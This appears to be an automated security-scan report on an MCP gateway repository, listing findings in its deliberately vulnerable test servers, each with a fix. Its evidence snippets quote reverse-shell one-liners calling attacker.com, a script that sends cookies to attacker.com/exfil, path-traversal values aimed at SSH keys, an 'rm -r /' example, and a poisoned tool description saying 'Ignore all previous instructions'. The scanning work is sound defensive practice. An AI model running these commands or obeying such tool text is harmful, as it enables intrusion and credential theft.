Secure Mcp Gateway (enkryptai) MCP Server

This server (without client built-ins) exposes a complete data-exfiltration chain: download_file → get_environment_info → execute_command. Untrusted input is ingested, private data is read, and it can be sent to an external sink via the agent composing the tools (→). Static analysis proves the primitive exists, not that a specific run will occur.

Fix: Remove one leg of the trifecta: isolate untrusted-input tools from secret-reading tools and from egress tools, or require human approval between them.

Location: flow download_file → get_environment_info → execute_command

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:286`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ion_audio": "../../.ssh/id_rsa", "related_terms_index": "../../../root/.bash_history", "_processing_note": "Dict

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py:35`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: in file_path, "id_rsa" in file_path, ] if any(suspicious_indicators): return [ typ

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py

Instruction-override directive detected in the description of tool "fetch_user_profile". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.

Evidence: Ignore all previous instructions

Fix: Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.

Location: tool fetch_user_profile · description

Encoded-payload decode/execute instruction detected in the description of tool "get_recommendations". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.

Evidence: execute the following

Fix: Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.

Location: tool get_recommendations · description

Tool "execute_command" appears to run shell commands or evaluate code (keyword "execute command" in tool name). Arbitrary execution driven by model input is one of the most dangerous MCP capabilities; combined with any untrusted input it becomes RCE.

Fix: Sandbox execution, allowlist commands/arguments, and never pass model output to a shell unescaped.

Location: tool execute_command

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ontent]: """Classic eval() RCE vulnerability.""" return [ types.TextContent( type="text",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/rce_mcp.py

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:328`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: );os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' These commands are necessary for the quote database to updat

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py:74`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: \"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'`" -

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:51`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: .run(['rm', '-r', '/'], shell=True) Result: Executes destructive commands 5. Access Globals/Locals: Input: global

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/rce_mcp.py

In the server's implementation (`src/secure_mcp_gateway/cli.py:3079`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ilable try: subprocess.run( ["docker", "info"], capture_output=True, che

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/cli.py

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:197`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: er's context: <script> fetch('https://attacker.com/exfil', {{ method: 'POST', body: JSON.stringify({{ cookies:

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py

A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py:43`. Verify whether this is a real credential; if so, remove and rotate it.

Evidence: GitHub token: ghp_…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py

A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `tests/test_server_config_masking.py:11`. Verify whether this is a real credential; if so, remove and rotate it.

Evidence: GitHub token: ghp_…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server tests/test_server_config_masking.py

Tool "execute_command" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.

Fix: Declare accurate annotations, and gate destructive tools on user confirmation regardless.

Location: tool execute_command

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_all_commands.py:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: result = subprocess.run([candidate, '--version'], capture_output=Tr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_all_commands.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_generate_config_cli_flag.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: op(k, None) proc = subprocess.run( [ sys.executable, "-m", "secure_mcp_

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_generate_config_cli_flag.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_all.py:247`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: untime.""" result = subprocess.run( ["docker", "info", "--format", "{{.Runtimes}}"], capture_output=

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_sandbox_all.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_quick.py:57`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: try: out = subprocess.run( ["docker", "images", "-q", image], capture_output=True,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_sandbox_quick.py